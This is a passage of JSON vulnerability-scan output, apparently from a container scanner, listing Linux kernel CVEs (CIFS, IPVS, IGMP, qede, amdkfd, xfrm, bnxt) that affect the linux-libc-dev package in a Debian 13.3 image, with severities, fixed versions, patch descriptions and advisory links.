"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/20054869770c7df060c5ecee3e8bbf9029c47191%20%287.2-rc1%29", "https://git.kernel.org/stable/c/20054869770c7df060c5ecee3e8bbf9029c47191", "https://git.kernel.org/stable/c/22100a8f73d4ae4f17697dae93d4e2e1d283a6ec", "https://git.kernel.org/stable/c/242408b5b763c01288adf3113cbce84378a76e1a", "https://git.kernel.org/stable/c/3665e644ea081c4624a1637023b0de3b29f4ae04", "https://git.kernel.org/stable/c/689b7267f8632b4661879dc323e26ebb60978afb", "https://git.kernel.org/stable/c/7f72c285f6d3bf63968a0344beee8ab1b370198b", "https://git.kernel.org/stable/c/b609f7f46916c6b05585ca82455077198a23770f", "https://git.kernel.org/stable/c/d0597074e99731fdad5593e4f6d056a3866f2cab", "https://linux.oracle.com/cve/CVE-2026-72298.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026081502-CVE-2026-72298-9cab@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72298", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72298" ], "PublishedDate": "2026-08-15T06:22:02.437Z", "LastModifiedDate": "2026-10-16T19:17:19.843Z" }, { "VulnerabilityID": "CVE-2026-72318", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72318", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fbce8ab33f860c8b8f71fb411c4c06ff33f961323b57cfae15516ff3ca8e04f3", "Title": "kernel: cifs: validate DFS referral string offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: validate DFS referral string offsets\n\nparse_dfs_referrals() validates that the response header and referral\narray fit in the received buffer, but each referral also contains string\noffsets supplied by the server.\n\nThose offsets are used to compute the DfsPath and NetworkAddress string\npointers without checking whether they still point inside the response\nbuffer. A malformed referral can therefore make the computed pointer\nexceed the end of the buffer. The resulting negative max_len is then\npassed to cifs_strndup_from_utf16(), and the non-Unicode path forwards it\nto kstrndup() as a size_t, allowing strnlen() to read out of bounds.\n\nValidate each string offset before deriving the string pointer.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-72318", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/027a84ac6b50c12ef767c15abfc58aa865820e9e%20%287.2-rc3%29", "https://git.kernel.org/stable/c/027a84ac6b50c12ef767c15abfc58aa865820e9e", "https://git.kernel.org/stable/c/76c607b9353d377b1d1b11db50e743eee0ccf658", "https://git.kernel.org/stable/c/929a85932d14190988f1eafd6ee8cc68d66ace0b", "https://git.kernel.org/stable/c/b784cd1c24d89bf71be2efe1e948ff7c03371e57", "https://git.kernel.org/stable/c/c37abc99bb3de3d3219ecef253d649f74117fd83", "https://git.kernel.org/stable/c/d64b6be5740ce230aca184d8d224c75d9866045d", "https://linux.oracle.com/cve/CVE-2026-72318.html", "https://linux.oracle.com/errata/ELSA-2026-82807.html", "https://lore.kernel.org/linux-cve-announce/2026081506-CVE-2026-72318-c46b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72318", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72318" ], "PublishedDate": "2026-08-15T06:22:04.737Z", "LastModifiedDate": "2026-10-16T19:17:22.343Z" }, { "VulnerabilityID": "CVE-2026-72319", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72319", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ad09b4c9c411303e96ea49b26e298ffc3fd51d3ead6e4b925589e2fac057670a", "Title": "kernel: ipvs: ensure inner headers in ICMP errors are in headroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: ensure inner headers in ICMP errors are in headroom\n\nSashiko points out that after stripping the outer headers\nwith pskb_pull() we should ensure the inner IP headers\nin ICMP errors from tunnels are present in the skb headroom\nfor functions like ipv4_update_pmtu(), icmp_send() and\nIP_VS_DBG().\n\nAlso, add more checks for the length of the inner headers.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72319", "https://git.kernel.org/linus/3f7a535ff0fa627a0132803e4c2f903ceffcbc1c%20%287.2-rc3%29", "https://git.kernel.org/stable/c/19657b3a17b774ae4e2f2635b5ae8638c9344a40", "https://git.kernel.org/stable/c/3f7a535ff0fa627a0132803e4c2f903ceffcbc1c", "https://git.kernel.org/stable/c/8f48cfe657409fb5c7ba0521b14da6d47546d9cf", "https://git.kernel.org/stable/c/92185d6f7819bc558939ae83de7b1abe90e3b5c2", "https://git.kernel.org/stable/c/9bc9b95aee2b2e3f1301a16a67ee504960402875", "https://git.kernel.org/stable/c/a735f9964a3d9ed97daf9b08507f8b5bcafe6326", "https://git.kernel.org/stable/c/dac813101914c21219ac221a60a31a11bc90e7ec", "https://git.kernel.org/stable/c/dd22f74a09e25ca298ced0a3763ef353242cb78d", "https://linux.oracle.com/cve/CVE-2026-72319.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081506-CVE-2026-72319-792e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72319", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72319" ], "PublishedDate": "2026-08-15T06:22:04.857Z", "LastModifiedDate": "2026-10-16T19:17:22.527Z" }, { "VulnerabilityID": "CVE-2026-72323", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72323", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e91679b3f1e3685bd7f26f569ba778ed17a50854997a571e91f5e864d20c6b1c", "Title": "kernel: ipv4: igmp: Fix potential UAF in igmp_gq_start_timer()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: igmp: Fix potential UAF in igmp_gq_start_timer()\n\nA race condition exists between device teardown (inetdev_destroy) and\nincoming IGMP query processing (igmp_rcv), leading to a Use-After-Free\nin the IGMP timer callback.\n\nDuring device destruction, inetdev_destroy() drops the primary reference\nto in_device, which can drop its refcount to 0. The actual freeing of\nin_device memory is deferred via RCU (using call_rcu()).\n\nConcurrently, igmp_rcv() runs under RCU read lock and obtains the\nin_device pointer. Because the memory is RCU-protected, CPU-0 can safely\ndereference in_device even if its refcount has hit 0.\n\nHowever, if CPU-0 calls igmp_gq_start_timer() and re-arms the timer, it\nattempts to acquire a reference using in_dev_hold(). This increments the\nrefcount from 0 to 1, triggering a \"refcount_t: addition on 0\" warning.\nSince the in_device memory is still scheduled to be freed after the RCU\ngrace period (as the free callback does not check the refcount again),\nthe device is freed while the timer is still armed. When the timer\nexpires, it accesses the freed memory, causing a kernel panic.\n\nFix this by using refcount_inc_not_zero() (via a new helper\nin_dev_hold_safe()) to prevent acquiring a reference if the device is\nalready being destroyed. If the refcount is 0, we do not arm the timer.\n\nA similar issue in IPv6 MLD is fixed in a subsequent patch.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72323", "https://git.kernel.org/linus/7b19c0f81ed1fdaec6bc522569be367199a9edf3%20%287.2-rc3%29", "https://git.kernel.org/stable/c/165258303357e54b75fc19b341ae2a2b7c9e3910", "https://git.kernel.org/stable/c/40a1e998cb266ed4cb529a0bb4fee2b0ba732702", "https://git.kernel.org/stable/c/7265c747eec415ca3109a6a14a419f7ae433b780", "https://git.kernel.org/stable/c/74b301f7f197517016befb5f5dfab01f7bc64be5", "https://git.kernel.org/stable/c/75e984fe0cb9e7fbde0c8ee838c61ce8573d3ea3", "https://git.kernel.org/stable/c/7b19c0f81ed1fdaec6bc522569be367199a9edf3", "https://git.kernel.org/stable/c/8d4394ffa40508e0de72f464af351f6ca6a6cdc3", "https://git.kernel.org/stable/c/d107b4c4f8274763b7ea5ab05d45cef78e4b81ba", "https://linux.oracle.com/cve/CVE-2026-72323.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081506-CVE-2026-72323-b79f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72323", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72323" ], "PublishedDate": "2026-08-15T06:22:05.333Z", "LastModifiedDate": "2026-10-16T19:17:23.027Z" }, { "VulnerabilityID": "CVE-2026-72339", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72339", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:67bd92a7c0087235db89599119b877f09b827e7b54b05b472d9ca929db90ba24", "Title": "kernel: qede: fix off-by-one in BD ring consumption on build_skb failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nqede: fix off-by-one in BD ring consumption on build_skb failure\n\nqede_rx_build_skb() and qede_tpa_rx_build_skb() do not check for a\nNULL return from qede_build_skb(). When it returns NULL under memory\npressure, the functions still consume a BD from the ring before\nreturning NULL. The callers then recycle additional BDs, resulting in\none extra BD being consumed (off-by-one). This desynchronizes the BD\nring, which can corrupt DMA page reference counts and lead to SLUB\nfreelist corruption.\n\nCommit 4e910dbe3650 (\"qede: confirm skb is allocated before using\")\nadded a NULL check inside qede_build_skb() to prevent a NULL pointer\ndereference, but did not address the missing NULL checks in the\ncallers, making this off-by-one reachable.\n\nFix this by adding NULL checks for the return value of\nqede_build_skb() in both qede_rx_build_skb() and\nqede_tpa_rx_build_skb(), returning NULL immediately before any BD ring\nmanipulation.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72339", "https://git.kernel.org/linus/a0a558ca7e75b49e71f8c545c30e8c005e6e4e2f%20%287.2-rc3%29", "https://git.kernel.org/stable/c/07be8b8adf91b7ada4c3dacce064d572a6066421", "https://git.kernel.org/stable/c/0bf78df2d3ecb1f4964ff42a7327d25845955153", "https://git.kernel.org/stable/c/1624aa100c0b218181aa74e3696a389b509298cb", "https://git.kernel.org/stable/c/814a5edac8c9fc04051808d5faaa93768e989281", "https://git.kernel.org/stable/c/982d6d6bc059c5dff37a2201c2f08c14bcfcbd20", "https://git.kernel.org/stable/c/a0a558ca7e75b49e71f8c545c30e8c005e6e4e2f", "https://git.kernel.org/stable/c/b066420e57f3402a52c998678b4678252ac9bb63", "https://git.kernel.org/stable/c/ecc05d4b20220a09c9c69584fc46ca55248a374a", "https://linux.oracle.com/cve/CVE-2026-72339.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081510-CVE-2026-72339-ca7a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72339", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72339" ], "PublishedDate": "2026-08-15T06:22:07.15Z", "LastModifiedDate": "2026-10-16T19:17:23.95Z" }, { "VulnerabilityID": "CVE-2026-72449", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72449", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5a4969cc06f1cbb5725274706894ef355a7f9b170460d60a5fb43656c69c78ce", "Title": "kernel: drm/amdkfd: fix list_del corruption in kfd_criu_resume_svm", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: fix list_del corruption in kfd_criu_resume_svm\n\nThe cleanup tail of kfd_criu_resume_svm() walks\nsvms-\u003ecriu_svm_metadata_list and kfree()s each struct criu_svm_metadata\nwithout removing it from the list. The list head is left pointing at\nfreed kmalloc-96 objects.\n\nA second AMDKFD_IOC_CRIU_OP from the same process re-enters: list_empty()\nreads the dangling -\u003enext (use-after-free), the loop walks freed entries,\nand each is kfree()'d again (double-free). This is reachable by an\nunprivileged render-group user via /dev/kfd with no capabilities required.\n\nAdd list_del() before the kfree() so the list is properly emptied. The\nlist_for_each_entry_safe() iterator already caches the next pointer, so\nunlinking during the walk is safe.\n\n(cherry picked from commit 6322d278a298e2c1430b9d2697743d3a04b788b1)", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72449", "https://git.kernel.org/linus/8fa5655da368d0306c03e9dc9cda8ae2a7840926%20%287.2-rc1%29", "https://git.kernel.org/stable/c/506e635aed05dbdeef11e3c59f6e42980cda5b6d", "https://git.kernel.org/stable/c/838b57b3e7ce8cce0fda56d0861add3d464dd6c8", "https://git.kernel.org/stable/c/8fa5655da368d0306c03e9dc9cda8ae2a7840926", "https://git.kernel.org/stable/c/96ac562a9ea3020981f536384711190841c81aa8", "https://git.kernel.org/stable/c/c8a8d350a273c005a48c64c4519d21b2a51c5ceb", "https://git.kernel.org/stable/c/e33a3bd5cb8d0cf1557dee014115f812c9686130", "https://linux.oracle.com/cve/CVE-2026-72449.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081531-CVE-2026-72449-c109@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72449", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72449" ], "PublishedDate": "2026-08-15T06:22:18.837Z", "LastModifiedDate": "2026-10-16T19:17:31.053Z" }, { "VulnerabilityID": "CVE-2026-72463", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72463", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:35b7ffcb759122aa121cc50d6bece60a7e84aa0db653a5c70262d9a1985e5819", "Title": "kernel: xfrm: Fix dev use-after-free in xfrm async resumption", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: Fix dev use-after-free in xfrm async resumption\n\nxfrm async resumption hold skb-\u003edev refcnt until after transport_finish.\nHowever, xfrm_rcv_cb may modify skb-\u003edev to tunnel dev without taking\ndevice reference, such as vti_rcv_cb. The subsequent async resumption\nwill decrement the tunnel device's reference count, which lead to uaf\nof tunnel dev and refcnt leak of orig dev as below:\n\nunregister_netdevice: waiting for vti1 to become free. Usage count = -2\n\nStash the original skb-\u003edev to fix refcnt imbalance. The new skb-\u003edev set\nby xfrm_rcv_cb can race with device teardown. Extend rcu protection over\nxfrm_rcv_cb and transport_finish to prevent races.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72463", "https://access.redhat.com/security/cve/CVE-2026-72463", "https://git.kernel.org/linus/8045c0df98d4f14c54e5cb875f1c9c0ce89fe4ff%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1acd93259b6be269e26be5d71c224bccd1f8352f", "https://git.kernel.org/stable/c/63a30015199912bd5055bead8001b1ae68a67cdb", "https://git.kernel.org/stable/c/8045c0df98d4f14c54e5cb875f1c9c0ce89fe4ff", "https://git.kernel.org/stable/c/fed4d3195a31125566876952ce66113ec1eb9008", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-wvrvm9d6b6zc.toml", "https://linux.oracle.com/cve/CVE-2026-72463.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://lore.kernel.org/linux-cve-announce/2026081533-CVE-2026-72463-5eb9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72463", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72463" ], "PublishedDate": "2026-08-15T06:22:20.303Z", "LastModifiedDate": "2026-10-30T13:19:52.74Z" }, { "VulnerabilityID": "CVE-2026-74269", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74269", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c7d234dcdf5cdf82ab112ee9b20860db8af14b5ff5923a2579319eed48b7536f", "Title": "kernel: bnxt: fix head underflow on XDP head-grow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt: fix head underflow on XDP head-grow\n\nThe xdp.py test test_xdp_native_adjst_head_grow_data crashes when run on\na bnxt machine (and also crashes in NIPA).\n\nIt seems that the bug is an underflow in bnxt_rx_multi_page_skb, which\nbuilds the skb head:\n\n napi_build_skb(data_ptr - bp-\u003erx_offset, rxr-\u003erx_page_size);\n\nThe problem with this expression is that in page mode, rx_offset is:\n\n bp-\u003erx_offset = NET_IP_ALIGN + XDP_PACKET_HEADROOM;\n\nWhich evaluates (at least on x86_64) to 258.\n\nThe test test_xdp_native_adjst_head_grow_data tests a case where the\nhead is adjusted by -256.\n\nWhen this test runs, data_ptr is shifted to frag_start + 2 (where\nfrag_start = page_address(page) + offset).\n\nThen, bnxt_rx_multi_page_skb is invoked and the napi_build_skb\nexpression subtracts 258, landing at an address before frag_start. This\ncould be either the previous fragment or the previous physical page when\nthe offset is \u003c 256 (e.g. if the fragment started at offset 0).\n\nWhen the skb is freed, the page pool fragment reference is dropped on\neither the wrong page or the wrong frag of the right page. In either\ncase, the corrupted reference count can lead to the page being\nprematurely recycled while still in use. Once (incorrectly) recycled, it\ncan be handed out again and on driver 